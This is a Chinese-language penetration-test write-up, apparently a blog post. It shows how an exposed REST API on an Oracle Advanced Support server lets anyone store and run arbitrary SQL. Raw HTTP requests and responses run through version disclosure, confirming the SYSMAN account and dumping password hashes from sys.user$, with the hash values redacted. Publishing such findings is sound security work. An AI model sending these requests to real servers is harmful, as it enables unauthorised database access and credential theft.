序言
一年多以前,我正在对客户的外部环境进行渗透测试。任何外部渗透测试的一个关键步骤是绘制可访问的Web服务器,nmap与EyeWitness的组合使得这一步相当快,因为我们可以对Web服务器执行端口扫描,然后将这些结果提供给EyeWitness以获取截图。在梳理EyeWitness生成的屏幕截图页面后,我遇到了Oracle Advanced Support服务器的屏幕截图。

可是一直到现在,我从来没有听说过Oracle Advanced Support,在经过一些Google 搜索学习之后发下,它似乎是一个服务器,允许Oracle支持在外部登录,并在环境中执行Oracle系统所需的任何支持。
考虑到这一点,让我们把我们的网络应用程序放在一起,一起去尝试尝试。
我们从应用程序开始一些简单的学习。这包括:
* 搜索报告的漏洞
* 使用Burp覆盖应用程序
* 枚举公共目录
* 查看可用页面的来源
幸运的是,对于我们来说,看主页的源文件包括一个包含目录列表的资产目录的链接。

目录列表对于这样一个未知的应用来说非常棒。这给我们一些希望,我们可以找到有趣的东西,我们应该有访问。果然,搜索到JavaScript文件的一些关键请求:

让我们整理一下代码,使得代码看起来更加容易阅读。
define(["jquery", "chart-util"], function(t, e) {
var s = function() {
var e = this;
e.getSqlData = function(e, s) {
var r = "rest/data/sql/" + e,
a = t.getJSON(r);
return s && a.success(s), a
}, e.createNamedSql = function(e, s) {
var r = t.post("rest/data/sql/", e);
return s && r.success(s), r
}, e.getNamedSqlList = function(e) {
var s = t.getJSON("rest/data/sql_list");
return e && s.success(e), s
}, e.getSqlNameList = function(e) {
var s = t.getJSON("rest/data/sql_name_list");
return e && s.success(e), s
}
};
return new s
});
在Web应用程序渗透测试期间,我最喜欢和经常被忽视的事情之一就是查看应用程序中包含的JavaScript文件,并查看是否有任何POST或GET请求,该应用程序可能或许不怎么使用。
我们这里有一个名为sql-service.js的JavaScript文件,引起了我的警觉,从文件中我们看到有四个匿名函数通过t.getJSON和t.post方法执行三个GET请求和一个POST请求。函数分配给以下变量:
getSqlData
createNamedSql
getNamedSqlList
getSqlNameList
每个功能的每个请求都位于 /rest/data/
为了根据请求进行拆分,我们有以下几点:
GET /rest/data/sql
POST /rest/data/sql
GET /rest/data/sql_list
GET /rest/data/sql_name_list
有了这个信息,让我们启动我最喜欢的代理工具,Burp,看看会发生什么!
下载测试
让我们从getSqlData函数尝试第一个GET请求到 /rest/data/sql 。我们也可以从JavaScript看到需要附加一个参数。我们来添加’test’到最后。
HTTP请求:
GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
HTTP响应:
HTTP/1.1 404 Not Found
Content-Type: application/json
Content-Length: 20
Connection: close
Named SQL not found.
来自服务器的响应,给我们提示sq提示:命名SQL未找到。如果我们尝试除’test’以外的其他字符串,我们会得到相同的消息。我们可以快速启动Burp Intruder,并尝试使用字典列表尝试枚举潜在的参数名称,以查看是否可以获得任何非404响应,但是有一种更容易的方法,可以发现我们应该用作参数名称。如果再次查看JavaScript,您会注意到这些函数的名称为我们提供了有价值的信息。我们看到以下函数的两个GET请求:getNamedSqlList和getSqlNameList。我们上述请求的错误消息给我们一个未命名的SQL找不到错误。
HTTP请求:
GET /rest/data/sql_list HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
HTTP响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 243633
[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id =
...
这里给我们提供了相当多的信息。我们来尝试解剖一下。我们有一个包含一组JSON对象的数组的JSON响应。我们来看看该数组中的第一个对象。
{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
这里我们有以下属性:name,sql,dataSourceJNDI,privileges和paramList。sql属性是最有趣的,因为它包含一个SQL查询作为字符串值。
我们来看看这个值,并把它放入我们以前尝试过的GET请求中。
HTTP请求:
GET /rest/data/sql/sample HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP响应:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Content-Length: 44
Connection: close
Bad Request.Param value not defined for time
嘿! 我们回来了!但是我们缺少一个参数。让我们补充一点。
HTTP请求:
GET /rest/data/sql/sample?time=1 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2
Connection: close
[]
嗯,我们没有从服务器返回任何东西,但是我们没有收到错误!也许正在执行示例的SQL查询,但是什么都没有回来?我们可以继续尝试从我们之前执行的请求中的其他名称,但是让我们看看最后一次我们原来的JavaScript。
我们可以看到有一个名为createNamedSQL的函数执行POST请求。我们从对getNamedSqlList请求的响应中知道,命名为sql对象的SQL对象包含一个SQL查询作为值的sql属性。也许这个POST请求将允许我们在服务器上执行SQL查询?我们来看看吧。
SQL执行
以下是正文中带有空JSON对象的createNamedSQL POST请求:
HTTP请求:
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
{}
HTTP响应:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 71
Connection: close
A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我们收到有关SQL_NAME列的错误。这不是很奇怪,因为正文包含一个空的JSON对象。让我们添加一个随机的属性名称和值。
HTTP请求:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 16
Content-Type: application/json;charset=UTF-8
{"test":1}
HTTP响应:
HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 365
Connection: close
Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
我们收到一个关于“test”字段是不被认可的请求响应,这再一次也不足为奇。但是如果您注意到,错误消息给我们可以使用的属性。感谢Oracle服务器!这些属性也恰好与我们从getNamedSqlList请求获得的属性相同。我们来试试吧。对于dataSourceJNDI属性,我使用getNamedSqlList请求中的响应中的一个值。HTTP请求:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test",
"sql":"select @@version",
"dataSourceJNDI":"jdbc/portal"
}
这看起来是一个很好的测试请求。让我们看看它是否有效
HTTP响应:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Content-Length: 200
Connection: close
A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
那么我们还是从服务器得到一个错误。但是,这只是针对内容类型的响应。命名的sql可能仍然被创建。将name字段设置为test,让我们尝试第一个GET请求作为参数。
HTTP请求:
GET /rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 24
Connection: close
[{"@@version":"5.5.37"}]
好好看这里!我们得到了一些SQL执行。
我们来看看我们目前的用户是什么权限。
HTTP请求:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
{
"name": "test2",
"sql":"SELECT USER from dual;",
"dataSourceJNDI":"jdbc/portal"
}
HTTP请求:
GET /rest/data/sql/test2 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 19
Connection: close
[{"USER":"SYSMAN"}]
看起来我们是SYSMAN用户。哪个Oracle文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm)用于管理。
我们来看看我们是否可以抓住一些用户哈希
HTTP请求:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 120
Content-Type: application/json;charset=UTF-8
{
"name": "test3",
"sql":"SELECT name, password FROM sys.user$",
"dataSourceJNDI":"jdbc/portal"
}
HTTP请求:
GET /rest/data/sql/test3 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 5357
Connection: close
[{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
...
我们可以获取数据库中用户的密码哈希值。我修改并删除了返回的一些关键信息。有了这些信息,并且因为我们是具有管理权限的用户,所以有很多途径可以提到服务器权限。但是,为了这个公众号的目的,我们的介绍就在这里停下来了。
总结
oracle在应用程序中使用非常普遍,值得大家深层次的研究跟学习。还是那句老话,关注网络安全技术,关注杂术馆公众号。让小编陪你一起前行。。。
喜欢我们就长按下面的二维码关注我们吧。

网友评论